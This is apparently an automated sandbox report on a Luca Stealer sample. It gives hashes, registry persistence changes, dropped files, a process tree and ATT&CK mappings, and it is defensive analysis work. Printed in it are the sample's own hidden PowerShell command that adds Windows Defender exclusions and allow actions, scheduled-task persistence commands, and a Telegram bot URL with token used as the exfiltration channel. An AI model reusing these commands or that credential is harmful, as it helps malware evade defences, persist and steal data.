lucastealer | 5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e

Analysis

max time kernel
150s
max time network
146s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
20-11-2023 08:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe
Size

4.6MB
MD5

4fb226993825558cca2e8aa844033078
SHA1

f3fa3d94a7a01970a99f9dcf5fad250be30b8fd2
SHA256

5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e
SHA512

c5ab520f0953ed53e682d811b6d51be11c4e831fa890913d1d2eb7ed03e2102c882f933f48bf8831b8ca5a605da7a98a6524b5a5cb6de1fd9d16351a2b53a2f8
SSDEEP

98304:utrbTA143lUrmaEXLW6jRhdGVQguhhW31Zo:Qc14IML5LdGVzu+la

Score

10^/10

lucastealer evasion persistence stealer

Malware Config

Extracted

Family

lucastealer

https://api.telegram.org/bot6068798932:AAG_cHiqinDwNZ3Hd-rdp8tPwbT0czdVwTw

Signatures

Luca Stealer
Info stealer written in Rust first seen in July 2022.
stealer lucastealer

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

explorer.exesvchost.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "C:\\Windows\\explorer.exe, c:\\windows\\system\\explorer.exe"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "C:\\Windows\\explorer.exe, c:\\windows\\system\\explorer.exe"	svchost.exe

Modifies visiblity of hidden/system files in Explorer 2 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Processes:

explorer.exesvchost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-2085049433-1067986815-1244098655-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2085049433-1067986815-1244098655-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	svchost.exe

Modifies Installed Components in the registry 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

svchost.exeexplorer.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999}	svchost.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}\StubPath = "C:\\Users\\Admin\\AppData\\Roaming\\mrsys.exe MR"	explorer.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999}	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999}\StubPath = "C:\\Users\\Admin\\AppData\\Roaming\\mrsys.exe MR"	svchost.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}	svchost.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}\StubPath = "C:\\Users\\Admin\\AppData\\Roaming\\mrsys.exe MR"	svchost.exe

Drops startup file 1 IoCs

Processes:

5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FQTMZS.lnk	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe

Executes dropped EXE 7 IoCs

Processes:

GSULJN.exegsuljn.exe icsys.icn.exeexplorer.exespoolsv.exesvchost.exespoolsv.exe

pid process

2936 GSULJN.exe
2420 gsuljn.exe
2604 icsys.icn.exe
940 explorer.exe
2020 spoolsv.exe
2192 svchost.exe
468 spoolsv.exe

Loads dropped DLL 17 IoCs

Processes:

5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exeGSULJN.exeicsys.icn.exeexplorer.exespoolsv.exesvchost.exe

pid	process
2980	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe
2980	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe
2980	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe
2980	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe
2980	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe
2936	GSULJN.exe
2936	GSULJN.exe
2936	GSULJN.exe
2936	GSULJN.exe
2604	icsys.icn.exe
2604	icsys.icn.exe
940	explorer.exe
940	explorer.exe
2020	spoolsv.exe
2020	spoolsv.exe
2192	svchost.exe
2192	svchost.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exeexplorer.exesvchost.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2085049433-1067986815-1244098655-1000\Software\Microsoft\Windows\CurrentVersion\Run\FQTMZS = "\"C:\\Users\\Admin\\AppData\\Roaming\\Windata\\Microsoft Office Click-to-Run.exe\""	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\system\\explorer.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\system\\svchost.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\system\\explorer.exe RO"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\system\\svchost.exe RO"	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in Windows directory 6 IoCs

Processes:

explorer.exespoolsv.exesvchost.exeicsys.icn.exe

description	ioc	process
File opened for modification	\??\c:\windows\system\spoolsv.exe	explorer.exe
File opened for modification	\??\c:\windows\system\svchost.exe	spoolsv.exe
File opened for modification	\??\c:\windows\system\explorer.exe	explorer.exe
File opened for modification	\??\c:\windows\system\svchost.exe	svchost.exe
File opened for modification	C:\Windows\system\udsys.exe	explorer.exe
File opened for modification	\??\c:\windows\system\explorer.exe	icsys.icn.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

876 schtasks.exe

pid	process
876	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exepowershell.exeicsys.icn.exeexplorer.exesvchost.exe

pid	process
2980	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe
2448	powershell.exe
2604	icsys.icn.exe
940	explorer.exe
940	explorer.exe
940	explorer.exe
940	explorer.exe
2192	svchost.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
2192	svchost.exe
940	explorer.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe
940	explorer.exe
2192	svchost.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

Processes:

5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exeexplorer.exesvchost.exe

pid process

2980 5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe
940 explorer.exe
2192 svchost.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2448 powershell.exe

description	pid	process
Token: SeDebugPrivilege	2448	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

GSULJN.exeicsys.icn.exeexplorer.exespoolsv.exesvchost.exespoolsv.exe

pid	process
2936	GSULJN.exe
2936	GSULJN.exe
2604	icsys.icn.exe
2604	icsys.icn.exe
940	explorer.exe
940	explorer.exe
2020	spoolsv.exe
2020	spoolsv.exe
2192	svchost.exe
2192	svchost.exe
468	spoolsv.exe
468	spoolsv.exe
940	explorer.exe
940	explorer.exe

Suspicious use of WriteProcessMemory 60 IoCs

Processes:

5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.execmd.exeGSULJN.execmd.exeicsys.icn.exeexplorer.exespoolsv.exesvchost.exe

description	pid	process	target process
PID 2980 wrote to memory of 2936	2980	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	GSULJN.exe
PID 2980 wrote to memory of 2936	2980	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	GSULJN.exe
PID 2980 wrote to memory of 2936	2980	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	GSULJN.exe
PID 2980 wrote to memory of 2936	2980	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	GSULJN.exe
PID 2980 wrote to memory of 2380	2980	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	cmd.exe
PID 2980 wrote to memory of 2380	2980	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	cmd.exe
PID 2980 wrote to memory of 2380	2980	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	cmd.exe
PID 2980 wrote to memory of 2380	2980	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	cmd.exe
PID 2380 wrote to memory of 2460	2380	cmd.exe	reg.exe
PID 2380 wrote to memory of 2460	2380	cmd.exe	reg.exe
PID 2380 wrote to memory of 2460	2380	cmd.exe	reg.exe
PID 2380 wrote to memory of 2460	2380	cmd.exe	reg.exe
PID 2380 wrote to memory of 2448	2380	cmd.exe	powershell.exe
PID 2380 wrote to memory of 2448	2380	cmd.exe	powershell.exe
PID 2380 wrote to memory of 2448	2380	cmd.exe	powershell.exe
PID 2380 wrote to memory of 2448	2380	cmd.exe	powershell.exe
PID 2380 wrote to memory of 1072	2380	cmd.exe	reg.exe
PID 2380 wrote to memory of 1072	2380	cmd.exe	reg.exe
PID 2380 wrote to memory of 1072	2380	cmd.exe	reg.exe
PID 2380 wrote to memory of 1072	2380	cmd.exe	reg.exe
PID 2936 wrote to memory of 2420	2936	GSULJN.exe	gsuljn.exe
PID 2936 wrote to memory of 2420	2936	GSULJN.exe	gsuljn.exe
PID 2936 wrote to memory of 2420	2936	GSULJN.exe	gsuljn.exe
PID 2936 wrote to memory of 2420	2936	GSULJN.exe	gsuljn.exe
PID 2980 wrote to memory of 660	2980	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	cmd.exe
PID 2980 wrote to memory of 660	2980	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	cmd.exe
PID 2980 wrote to memory of 660	2980	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	cmd.exe
PID 2980 wrote to memory of 660	2980	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	cmd.exe
PID 660 wrote to memory of 876	660	cmd.exe	schtasks.exe
PID 660 wrote to memory of 876	660	cmd.exe	schtasks.exe
PID 660 wrote to memory of 876	660	cmd.exe	schtasks.exe
PID 660 wrote to memory of 876	660	cmd.exe	schtasks.exe
PID 2936 wrote to memory of 2604	2936	GSULJN.exe	icsys.icn.exe
PID 2936 wrote to memory of 2604	2936	GSULJN.exe	icsys.icn.exe
PID 2936 wrote to memory of 2604	2936	GSULJN.exe	icsys.icn.exe
PID 2936 wrote to memory of 2604	2936	GSULJN.exe	icsys.icn.exe
PID 2604 wrote to memory of 940	2604	icsys.icn.exe	explorer.exe
PID 2604 wrote to memory of 940	2604	icsys.icn.exe	explorer.exe
PID 2604 wrote to memory of 940	2604	icsys.icn.exe	explorer.exe
PID 2604 wrote to memory of 940	2604	icsys.icn.exe	explorer.exe
PID 940 wrote to memory of 2020	940	explorer.exe	spoolsv.exe
PID 940 wrote to memory of 2020	940	explorer.exe	spoolsv.exe
PID 940 wrote to memory of 2020	940	explorer.exe	spoolsv.exe
PID 940 wrote to memory of 2020	940	explorer.exe	spoolsv.exe
PID 2020 wrote to memory of 2192	2020	spoolsv.exe	svchost.exe
PID 2020 wrote to memory of 2192	2020	spoolsv.exe	svchost.exe
PID 2020 wrote to memory of 2192	2020	spoolsv.exe	svchost.exe
PID 2020 wrote to memory of 2192	2020	spoolsv.exe	svchost.exe
PID 2192 wrote to memory of 468	2192	svchost.exe	spoolsv.exe
PID 2192 wrote to memory of 468	2192	svchost.exe	spoolsv.exe
PID 2192 wrote to memory of 468	2192	svchost.exe	spoolsv.exe
PID 2192 wrote to memory of 468	2192	svchost.exe	spoolsv.exe
PID 2192 wrote to memory of 2216	2192	svchost.exe	at.exe
PID 2192 wrote to memory of 2216	2192	svchost.exe	at.exe
PID 2192 wrote to memory of 2216	2192	svchost.exe	at.exe
PID 2192 wrote to memory of 2216	2192	svchost.exe	at.exe
PID 2192 wrote to memory of 2236	2192	svchost.exe	at.exe
PID 2192 wrote to memory of 2236	2192	svchost.exe	at.exe
PID 2192 wrote to memory of 2236	2192	svchost.exe	at.exe
PID 2192 wrote to memory of 2236	2192	svchost.exe	at.exe

C:\Users\Admin\AppData\Local\Temp\5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe
"C:\Users\Admin\AppData\Local\Temp\5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe"
1⤵
- Drops startup file
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:2980
- C:\Users\Admin\AppData\Local\Temp\GSULJN.exe
  "C:\Users\Admin\AppData\Local\Temp\GSULJN.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2936
- - \??\c:\users\admin\appdata\local\temp\gsuljn.exe
    c:\users\admin\appdata\local\temp\gsuljn.exe
    3⤵
    - Executes dropped EXE
    PID:2420
- - C:\Users\Admin\AppData\Local\icsys.icn.exe
    C:\Users\Admin\AppData\Local\icsys.icn.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2604
  - - \??\c:\windows\system\explorer.exe
      c:\windows\system\explorer.exe
      4⤵
      Modifies WinLogon for persistence
      Modifies visiblity of hidden/system files in Explorer
      Modifies Installed Components in the registry
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:940
    - - \??\c:\windows\system\spoolsv.exe
        
        c:\windows\system\spoolsv.exe SE
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Windows directory
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2020
      - \??\c:\windows\system\svchost.exe
        
        c:\windows\system\svchost.exe
        6⤵
        Modifies WinLogon for persistence
        Modifies visiblity of hidden/system files in Explorer
        Modifies Installed Components in the registry
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2192
        
        \??\c:\windows\system\spoolsv.exe
        
        c:\windows\system\spoolsv.exe PR
        7⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:468
        
        C:\Windows\SysWOW64\at.exe
        
        at 08:06 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
        7⤵
        
        PID:2216
        
        C:\Windows\SysWOW64\at.exe
        
        at 08:07 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
        7⤵
        
        PID:2236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\XSASZW.cmd" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2380
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKU\S-1-5-19\Environment"
    3⤵
    PID:2460
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -nologo -noninteractive -windowStyle hidden -noprofile -command $First = "Add-MpPreference -ThreatIDDefaultAction_Ids "; $Third = " -ThreatIDDefaultAction_Actions Allow -Force"; $ListID = 2147685180, 2147735507, 2147736914, 2147743522, 2147734094, 2147743421, 251873, 213927, 2147722906, 2147748160; ForEach ($ID in $ListID) { Invoke-Expression ($First + $ID + $Third) }; $ListPath = "C:\Windows\KMSAutoS", "C:\Windows\System32\SppExtComObjHook.dll", "C:\Windows\System32\SppExtComObjPatcher.exe", "C:\Windows\AAct_Tools", "C:\Windows\AAct_Tools\AAct_x64.exe", "C:\Windows\AAct_Tools\AAct_files\KMSSS.exe", "C:\Windows\AAct_Tools\AAct_files", "C:\Windows\KMS"; $First = "Add-MpPreference -ExclusionPath "; $Third = "-Force"; ForEach ($Path in $ListPath) { Invoke-Expression ($First + $Path + $Third) }; :Admin
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2448
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKU\S-1-5-19\Environment"
    3⤵
    PID:1072
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn FQTMZS.exe /tr C:\Users\Admin\AppData\Roaming\Windata\Microsoft Office Click-to-Run.exe /sc minute /mo 1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:660
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn FQTMZS.exe /tr C:\Users\Admin\AppData\Roaming\Windata\Microsoft Office Click-to-Run.exe /sc minute /mo 1
    3⤵
    - Creates scheduled task(s)
    PID:876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\GSULJN.exe

Filesize
5.9MB

MD5
021079dc0918b9c7359e93e770678000

SHA1
70c03da6f7b339340b1943f5d0b7b1fd87579adf

SHA256
ee63e26e84d8092fda9e527f7db34777b6261d8dfc96ed42167383f88cf1c487

SHA512
9bc14753e39f2c93737886439d64a458f08265d1d8176c233a8e3f864e1f4f2751b161aa22408618d0dd343fb88b7037c8c2eee898c6d9b3bf466aaea709c5b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\GSULJN.exe

Filesize
5.9MB

MD5
021079dc0918b9c7359e93e770678000

SHA1
70c03da6f7b339340b1943f5d0b7b1fd87579adf

SHA256
ee63e26e84d8092fda9e527f7db34777b6261d8dfc96ed42167383f88cf1c487

SHA512
9bc14753e39f2c93737886439d64a458f08265d1d8176c233a8e3f864e1f4f2751b161aa22408618d0dd343fb88b7037c8c2eee898c6d9b3bf466aaea709c5b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\XSASZW.cmd

Filesize
1KB

MD5
15a1fe3d0f342bdd3232253c7810a05d

SHA1
b658e0d903b37bf12e8e640bece22f235552dc50

SHA256
4070dcb09b69ef57160fae0be5ee3664e39170eeacc46e6f50a080493552b338

SHA512
1961fc65a839c55806162a197385859cfe3a24551ab9b7e0121166eac5e5ae1a4a0d9180229d0ea0240dccb770e4c2d508577e60988c9271bb11f94de1897a35

Download Submit
C:\Users\Admin\AppData\Local\Temp\XSASZW.cmd

Filesize
1KB

MD5
15a1fe3d0f342bdd3232253c7810a05d

SHA1
b658e0d903b37bf12e8e640bece22f235552dc50

SHA256
4070dcb09b69ef57160fae0be5ee3664e39170eeacc46e6f50a080493552b338

SHA512
1961fc65a839c55806162a197385859cfe3a24551ab9b7e0121166eac5e5ae1a4a0d9180229d0ea0240dccb770e4c2d508577e60988c9271bb11f94de1897a35

Download Submit
C:\Users\Admin\AppData\Local\Temp\gsuljn.exe

Filesize
5.7MB

MD5
2c2055233260e5bb20ce675afd39ed0d

SHA1
26c056ba8e99a3fb523612b422a85be3ecbbd5b3

SHA256
306827f0ef0a4cbecd5458776244bf7ee99f2e49569daf0034176b39f5d1c17d

SHA512
3e2a18cd0c7fe5e3529d37ac37b352f8c19d3fef947f117701bb712c19cb40ff3ed56c843c789334a6c93382deef1f5cf4a48fbadb6b1e46fe804b9430fa1546

Download Submit
C:\Users\Admin\AppData\Local\icsys.icn.exe

Filesize
206KB

MD5
c5f78d788265a8c2b80017a0dc351266

SHA1
32836c3ccaf84431beaba1b10107743c052cddc0

SHA256
0a48908b44578715b511d6c067b2b0c1351783c049c68183f6067afff1ff72d0

SHA512
0315d122adf425001109bae742a1aff418f301f46c3655bf3e3d0c12ecc03ac3d70b52a60a744f81b7b041d28bf235f3d93abc26c71bfdd388be6a145a1bbb16

Download Submit
C:\Users\Admin\AppData\Roaming\mrsys.exe

Filesize
206KB

MD5
cbc5a4dcd1ad12c2d458414f10fe370f

SHA1
8dfcf3dd41b3781c05a3c7c2e44a796f1c8797a3

SHA256
863234cd95481e33861e4b100ffa1970615b334b112778793d47cdf3d2ddab3b

SHA512
e7b46acd73bce04a8823c991c5d1b8115997ae98d65328fb9024db5f01b741357bc82d28570c080b99d89cee8eab815cc412f7cd5bdd23f8622ea89feb834fac

Download Submit
C:\Windows\system\explorer.exe

Filesize
206KB

MD5
3be1aad4075bbe9bf6fc96ab2e76f1b1

SHA1
bb65ace950c446e1a60318902f0056dd87515074

SHA256
f4842da46f07d145e90ddfdb23de86bea958cb6f1ce312982cffda067d4a92fe

SHA512
31baec1500e1c87ea372bf3a554882aac3a23fe1703516d2a0305e9cf82dfe6ff03f7abc9320c1c660d340cc736baf15ca88b016b7b00a6c5dca4aca2dee61e4

Download Submit
C:\Windows\system\spoolsv.exe

Filesize
206KB

MD5
2300abc6f3b5b3ad99bfa007c6888dc2

SHA1
094078c6c266a2d3021e0e1cec3b49ee1da24933

SHA256
97a73e768a34fa1b8ff5b3942c875bf1d1c799718517f829dd71d55606b61d65

SHA512
f5315207eedf831b571b2e369c656972bc2b756121b8ccbb25f7a5f6a9225bb128593b31deab1bd0d86354d60b45afd1aa81915ea9584203d227cb9dc63174de

Download Submit
C:\Windows\system\spoolsv.exe

Filesize
206KB

MD5
2300abc6f3b5b3ad99bfa007c6888dc2

SHA1
094078c6c266a2d3021e0e1cec3b49ee1da24933

SHA256
97a73e768a34fa1b8ff5b3942c875bf1d1c799718517f829dd71d55606b61d65

SHA512
f5315207eedf831b571b2e369c656972bc2b756121b8ccbb25f7a5f6a9225bb128593b31deab1bd0d86354d60b45afd1aa81915ea9584203d227cb9dc63174de

Download Submit
C:\Windows\system\svchost.exe

Filesize
206KB

MD5
db4110fc3d63d0baaaa59db19cb908ab

SHA1
06136eb65fe68543e676235edb847008ca727766

SHA256
4086a99997f44f9e067c25129474a759b29a2da72f997fea556e2c308b2340cc

SHA512
262493a100dddefcacdd5ac890c7a833a918c0e7d47f2a085065f630d5a41796a90fd184dd83c98fe9171d010d0956fe8f7b41dec204a161c9a64ed1714ae23c

Download Submit
\??\c:\users\admin\appdata\local\icsys.icn.exe

Filesize
206KB

MD5
c5f78d788265a8c2b80017a0dc351266

SHA1
32836c3ccaf84431beaba1b10107743c052cddc0

SHA256
0a48908b44578715b511d6c067b2b0c1351783c049c68183f6067afff1ff72d0

SHA512
0315d122adf425001109bae742a1aff418f301f46c3655bf3e3d0c12ecc03ac3d70b52a60a744f81b7b041d28bf235f3d93abc26c71bfdd388be6a145a1bbb16

Download Submit
\??\c:\users\admin\appdata\local\temp\gsuljn.exe

Filesize
5.9MB

MD5
021079dc0918b9c7359e93e770678000

SHA1
70c03da6f7b339340b1943f5d0b7b1fd87579adf

SHA256
ee63e26e84d8092fda9e527f7db34777b6261d8dfc96ed42167383f88cf1c487

SHA512
9bc14753e39f2c93737886439d64a458f08265d1d8176c233a8e3f864e1f4f2751b161aa22408618d0dd343fb88b7037c8c2eee898c6d9b3bf466aaea709c5b0

Download Submit
\??\c:\windows\system\explorer.exe

Filesize
206KB

MD5
3be1aad4075bbe9bf6fc96ab2e76f1b1

SHA1
bb65ace950c446e1a60318902f0056dd87515074

SHA256
f4842da46f07d145e90ddfdb23de86bea958cb6f1ce312982cffda067d4a92fe

SHA512
31baec1500e1c87ea372bf3a554882aac3a23fe1703516d2a0305e9cf82dfe6ff03f7abc9320c1c660d340cc736baf15ca88b016b7b00a6c5dca4aca2dee61e4

Download Submit
\??\c:\windows\system\spoolsv.exe

Filesize
206KB

MD5
2300abc6f3b5b3ad99bfa007c6888dc2

SHA1
094078c6c266a2d3021e0e1cec3b49ee1da24933

SHA256
97a73e768a34fa1b8ff5b3942c875bf1d1c799718517f829dd71d55606b61d65

SHA512
f5315207eedf831b571b2e369c656972bc2b756121b8ccbb25f7a5f6a9225bb128593b31deab1bd0d86354d60b45afd1aa81915ea9584203d227cb9dc63174de

Download Submit
\??\c:\windows\system\svchost.exe

Filesize
206KB

MD5
db4110fc3d63d0baaaa59db19cb908ab

SHA1
06136eb65fe68543e676235edb847008ca727766

SHA256
4086a99997f44f9e067c25129474a759b29a2da72f997fea556e2c308b2340cc

SHA512
262493a100dddefcacdd5ac890c7a833a918c0e7d47f2a085065f630d5a41796a90fd184dd83c98fe9171d010d0956fe8f7b41dec204a161c9a64ed1714ae23c

Download Submit
\Users\Admin\AppData\Local\Temp\GSULJN.exe

Filesize
5.9MB

MD5
021079dc0918b9c7359e93e770678000

SHA1
70c03da6f7b339340b1943f5d0b7b1fd87579adf

SHA256
ee63e26e84d8092fda9e527f7db34777b6261d8dfc96ed42167383f88cf1c487

SHA512
9bc14753e39f2c93737886439d64a458f08265d1d8176c233a8e3f864e1f4f2751b161aa22408618d0dd343fb88b7037c8c2eee898c6d9b3bf466aaea709c5b0

Download Submit
\Users\Admin\AppData\Local\Temp\GSULJN.exe

Filesize
5.9MB

MD5
021079dc0918b9c7359e93e770678000

SHA1
70c03da6f7b339340b1943f5d0b7b1fd87579adf

SHA256
ee63e26e84d8092fda9e527f7db34777b6261d8dfc96ed42167383f88cf1c487

SHA512
